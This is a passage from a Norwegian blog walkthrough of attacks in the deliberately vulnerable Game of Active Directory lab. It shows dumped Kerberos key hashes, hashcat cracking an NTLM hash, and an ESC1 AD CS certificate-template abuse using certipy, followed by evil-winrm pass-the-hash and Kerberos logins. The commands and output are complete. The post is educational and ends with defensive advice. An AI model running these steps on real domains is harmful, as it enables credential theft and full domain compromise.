jorah.mormont:aes256-cts-hmac-sha1-96:286398f9a9317f08acd3323e5cef90f9e84628c43597850e22d69c8402a26ece
jorah.mormont:aes128-cts-hmac-sha1-96:896e68f8c9ca6c608d3feb051f0de671
jorah.mormont:des-cbc-md5:b926916289464ffb
missandei:aes256-cts-hmac-sha1-96:41d08ceba69dde0e8f7de8936b3e1e48ee94f9635c855f398cd76262478ffe1c
missandei:aes128-cts-hmac-sha1-96:0a9a4343b11f3cce3b66a7f6c3d6377a
missandei:des-cbc-md5:54ec15a8c8e6f44f
drogon:aes256-cts-hmac-sha1-96:2f92317ed2d02a28a05e589095a92a8ec550b5655d45382fc877f9359e1b7fa1
drogon:aes128-cts-hmac-sha1-96:3968ac4efd4792d0acef565ac4158814
drogon:des-cbc-md5:bf1c85a7c8fdf237
sql_svc:aes256-cts-hmac-sha1-96:ca26951b04c2d410864366d048d7b9cbb252a810007368a1afcf54adaa1c0516
sql_svc:aes128-cts-hmac-sha1-96:dc0da2bdf6dc56423074a4fd8a8fa5f8
sql_svc:des-cbc-md5:91d6b0df31b52a3d
MEEREEN$:aes256-cts-hmac-sha1-96:627947a08303ffc008bb8984ac96f0c760fc3d2e5eb862b11edbd3533a10c768
MEEREEN$:aes128-cts-hmac-sha1-96:5c196a34f9258e725b2cbc62c72ff5c0
MEEREEN$:des-cbc-md5:2fe97f46b9253864
BRAAVOS$:aes256-cts-hmac-sha1-96:8d4c7ad755d68b03af90cf6a3961a6b594f8c9ea20b6d3ee0a97895d028d7f8e
BRAAVOS$:aes128-cts-hmac-sha1-96:82cbe868cf91352bd7cd6f6f50feb6f1
BRAAVOS$:des-cbc-md5:86dfd964d35e0ed9
gmsaDragon$:aes256-cts-hmac-sha1-96:ac426a3d054ae8e74d015db42a6b22cb05b1940072665f973601a38f44f11571
gmsaDragon$:aes128-cts-hmac-sha1-96:7c121eb9123f679c1904fde4a979dc8b
gmsaDragon$:des-cbc-md5:706bf845f4f2df1f
SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:f9a4c9931fdcfb0562e22ea9274ba2be42a4bc311bcde8b91864cb44e7ee3fd6
SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:b9a00bf0a4e7757c89878238b03a020d
SEVENKINGDOMS$:des-cbc-md5:94a4b63edfb04938
[*] Cleaning up...
Igjen ser vi at vi har klart å hente ut hasher fra domenekontrolleren i essos.
Et ord om passordcracking
Vi kan også mate samtlige NTLM hasher hentet med secretsdump inn i hashcat, og kjøre den mot en passordliste som f.eks RockYou som vi gjorde tidligere, og vi får følgende resultater som viser at passordet til khal.drogo oppfinsomt nok er “horse”. Selv om dette ikke gir oss noen merverdi er dette for å illustrere poenget at vi kan bruke sårbare sertifikatmaler til å hente frem passord i klartekst i noen tilfeller.
hashcat -m 1000 creds/essos.dump.ntlm /usr/share/wordlists/rockyou.txt --show
739120ebc4dd940310bc4bb5c9d37021:horse
$ cat creds/essos.dump.ntlm| grep 739
khal.drogo:1115:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESC1
Det siste vi skal se på er ESC1 sårbarheten. Denne fremkommer når en tilgjengelig sertifikatmal er konfigurert til å kunne brukes til autentisering, ikke krefer noen godkjenning, og den som etterspør sertifikatet selv kan oppgi hvem sertifikatet skal gjelde for.
I dette tilfellet etterspør vi sertifikat på vegne av daenerys targaryen, men med khal.drogo sin passordpålogging.
$ certipy req -u khal.drogo -p horse -ca ESSOS-CA -target braavos.essos.local -template ESC1 -upn [email protected]
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 23
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'
[*] Wrote certificate and private key to 'daenerys.targaryen.pfx'
$ certipy auth -pfx daenerys.targaryen.pfx -dc-ip 10.3.2.12
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'daenerys.targaryen.ccache'
[*] Wrote credential cache to 'daenerys.targaryen.ccache'
[*] Trying to retrieve NT hash for 'daenerys.targaryen'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
Og vi kan enten bruke kerberos ticketen eller vi kan bruke NTLM hashen for den saks skyld.
Kerberos ticket:
$ evil-winrm -r essos.local -i meereen.essos.local
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> whoami
essos\daenerys.targaryen
*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> hostname
meereen
*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents>
NTLM hash:
$ evil-winrm -i meereen.essos.local -u daenerys.targaryen -H 34534854d33b398b66684072224bb47a
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> whoami
essos\daenerys.targaryen
*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> hostname
meereen
Refleksjon
Jeg håper disse tre eksemplene understreker hvor store sårbarheter man kan introdusere med feilkonfigurasjoner i ADCS. Det betyr ikke at ADCS i seg selv er sårbart, men det er fort gjort å introdusere våre egne feil dersom vi ikke setter dem opp med omhu. Jeg anbefaler på det sterkeste å lese SpecterOps sin fantastiske artikkel og medfølgende whitepaper “Certified Pre-Owned”.
Med dette konkluderer vi serien med inn legg om red-team aktiviteter i den bevisst sårbare labben Game of Active Directory, (laget og publisert av Orange CyberDefense) som jeg vil minne om at man selv kan sette opp i eget miljø for å leke med. Vi har på ingen måte vist alt som finnes av sårbarheter, ei heller kan jeg påstå at vi har vært spesielt opptatt av å gå stille i dørene. Her har vi brukt verktøy og metoder som skaper mye støy, og i neste serie skal jeg ta for meg hvordan man detekterer angrepene vi har tatt for oss, og hvordan man tetter sikkerhetshullene.
Målet med denne serien var å demonstrere med faktiske kommandoer, eksempler på hvordan trusselaktører kan ta seg metodisk gjennom miljøet ved å utnytte svake konfigurasjoner man finner underveis, helt til man har totalt eierskap over on-prem AD miljøet. Det er også verdt å merke seg at dersom man sitter med et hybrid-miljø med både on-prem Active Directory og også et Microsoft Entra skymiljø er det mulig at den ene kan bli en angrepsbane inn i den andre – som vi har sett skal det ikke mer enn et flatt nettverk eller et gjenbrukt passord til før man har forflyttet seg på tvers av sikkerhetsbarrierer.
Jeg håper det har vært lærerikt, og passe skremmende for teknikere der ute som sjonglerer oppgaver og drifter systemer på trange budsjett og på mystisk vis likevel klarer å holde skuta flytende. Kanskje dette kan være til nytte for å kartlegge sårbarheter slik at man kan gjøre noe med dem før uvedkommende gjør det. Jeg håper dere følger med videre på blueteam serien jeg skal opprette, og kanskje titter innom innimellom i fremtiden.
Inntil videre!